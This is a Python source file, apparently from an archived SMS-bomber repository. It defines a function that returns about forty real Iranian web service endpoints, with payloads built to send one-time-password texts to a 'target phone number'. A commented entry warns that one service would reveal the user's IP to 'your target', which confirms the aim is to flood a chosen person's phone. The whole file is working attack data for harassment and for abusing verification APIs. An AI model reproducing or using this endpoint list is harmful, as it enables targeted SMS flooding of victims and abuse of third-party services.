This repository has been archived by the owner on Aug 25, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1
/
api.py
223 lines (220 loc) · 7.7 KB
/
api.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
def send_otp_requests(phone_number):
"""
Generates a list of APIs along with their respective URLs and data payloads
for sending OTP requests to the provided phone number.
Parameters:
phone_number (str): The target phone number to which OTP requests will be sent.
Returns:
list: A list of dictionaries containing API details, including name, URL, and data.
"""
apis = [
{
"name": "Snapp V1",
"url": "https://api.snapp.ir/api/v1/sms/link",
"data": {"phone": phone_number},
},
{
"name": "Snapp V2",
"url": f"https://digitalsignup.snapp.ir/ds3/api/v3/otp?utm_source=snapp.ir&utm_medium=website-button&utm_campaign=menu&cellphone={phone_number}",
"data": {"cellphone": phone_number},
},
{
"name": "Achareh",
"url": "https://api.achareh.co/v2/accounts/login/",
"data": {"phone": f"98{phone_number[1:]}"},
},
{
"name": "Zigap",
"url": "https://zigap.smilinno-dev.com/api/v1.6/authenticate/sendotp",
"data": {"phoneNumber": f"+98{phone_number[1:]}"},
},
{
"name": "Jabama",
"url": "https://gw.jabama.com/api/v4/account/send-code",
"data": {"mobile": phone_number},
},
{
"name": "Banimode",
"url": "https://mobapi.banimode.com/api/v2/auth/request",
"data": {"phone": phone_number},
},
{
"name": "Classino",
"url": "https://student.classino.com/otp/v1/api/login",
"data": {"mobile": phone_number},
},
{
"name": "Digikala V1",
"url": "https://api.digikala.com/v1/user/authenticate/",
"data": {"username": phone_number, "otp_call": False},
},
{
"name": "Digikala V2",
"url": "https://api.digikala.com/v1/user/forgot/check/",
"data": {"username": phone_number},
},
{
"name": "Sms.ir",
"url": "https://appapi.sms.ir/api/app/auth/sign-up/verification-code",
"data": phone_number,
},
{
"name": "Alibaba",
"url": "https://ws.alibaba.ir/api/v3/account/mobile/otp",
"data": {"phoneNumber": phone_number[1:]},
},
{
"name": "Divar",
"url": "https://api.divar.ir/v5/auth/authenticate",
"data": {"phone": phone_number},
},
{
"name": "Sheypoor",
"url": "https://www.sheypoor.com/api/v10.0.0/auth/send",
"data": {"username": phone_number},
},
{
"name": "Bikoplus",
"url": "https://bikoplus.com/account/check-phone-number",
"data": {"phoneNumber": phone_number},
},
{
"name": "Mootanroo",
"url": "https://api.mootanroo.com/api/v3/auth/send-otp",
"data": {"PhoneNumber": phone_number},
},
{
"name": "Tap33",
"url": "https://tap33.me/api/v2/user",
"data": {"credential": {"phoneNumber": phone_number, "role": "BIKER"}},
},
{
"name": "Tapsi",
"url": "https://api.tapsi.ir/api/v2.2/user",
"data": {
"credential": {"phoneNumber": phone_number, "role": "DRIVER"},
"otpOption": "SMS",
},
},
{
"name": "GapFilm",
"url": "https://core.gapfilm.ir/api/v3.1/Account/Login",
"data": {"Type": "3", "Username": phone_number[1:]},
},
{
"name": "IToll",
"url": "https://app.itoll.com/api/v1/auth/login",
"data": {"mobile": phone_number},
},
{
"name": "Anargift",
"url": "https://api.anargift.com/api/v1/auth/auth",
"data": {"mobile_number": phone_number},
},
{
"name": "Nobat",
"url": "https://nobat.ir/api/public/patient/login/phone",
"data": {"mobile": phone_number[1:]},
},
{
"name": "Lendo",
"url": "https://api.lendo.ir/api/customer/auth/send-otp",
"data": {"mobile": phone_number},
},
{
"name": "Hamrah-Mechanic",
"url": "https://www.hamrah-mechanic.com/api/v1/membership/otp",
"data": {"PhoneNumber": phone_number},
},
{
"name": "Abantether",
"url": "https://abantether.com/users/register/phone/send/",
"data": {"phoneNumber": phone_number},
},
{
"name": "OKCS",
"url": "https://my.okcs.com/api/check-mobile",
"data": {"mobile": phone_number},
},
{
"name": "Tebinja",
"url": "https://www.tebinja.com/api/v1/users",
"data": {"username": phone_number},
},
{
"name": "Bit24",
"url": "https://bit24.cash/auth/bit24/api/v3/auth/check-mobile",
"data": {"mobile": phone_number},
},
{
"name": "Rojashop",
"url": "https://rojashop.com/api/send-otp-register",
"data": {"mobile": phone_number},
},
{
"name": "Paklean",
"url": "https://client.api.paklean.com/download",
"data": {"tel": phone_number},
},
{
"name": "Khodro45",
"url": "https://khodro45.com/api/v1/customers/otp/",
"data": {"mobile": phone_number},
},
{
"name": "Delino",
"url": "https://www.delino.com/user/register",
"data": {"mobile": phone_number},
},
{
"name": "DigikalaJet",
"url": "https://api.digikalajet.ir/user/login-register/",
"data": {"phone": phone_number},
},
{
"name": "Miare",
"url": "https://www.miare.ir/api/otp/driver/request/",
"data": {"phone_number": phone_number},
},
{
"name": "Dosma",
"url": "https://app.dosma.ir/api/v1/account/send-otp/",
"data": {"mobile": phone_number},
},
{
"name": "Ostadkr",
"url": "https://api.ostadkr.com/login",
"data": {"mobile": phone_number},
},
{
"name": "Sibbazar",
"url": "https://sandbox.sibbazar.com/api/v1/user/invite",
"data": {"username": phone_number},
},
{
"name": "Namava",
"url": "https://www.namava.ir/api/v1.0/accounts/registrations/by-phone/request",
"data": {"UserName": f"+98{phone_number[1:]}"},
},
{
"name": "Shab",
"url": "https://api.shab.ir/api/fa/sandbox/v_1_4/auth/check-mobile",
"data": {"mobile": phone_number},
},
{
"name": "Bitpin",
"url": "https://api.bitpin.org/v2/usr/signin/",
"data": {"phone": phone_number},
},
{
"name": "Taaghche",
"url": "https://gw.taaghche.com/v4/site/auth/signup",
"data": {"contact": phone_number},
},
# {
# "name": "Digipay",
# "url": "https://www.mydigipay.com/digipay/api/users/send-sms",
# "data": {"cellNumber": phone_number},
# }, # This one will send your IP to your target.
]
return apis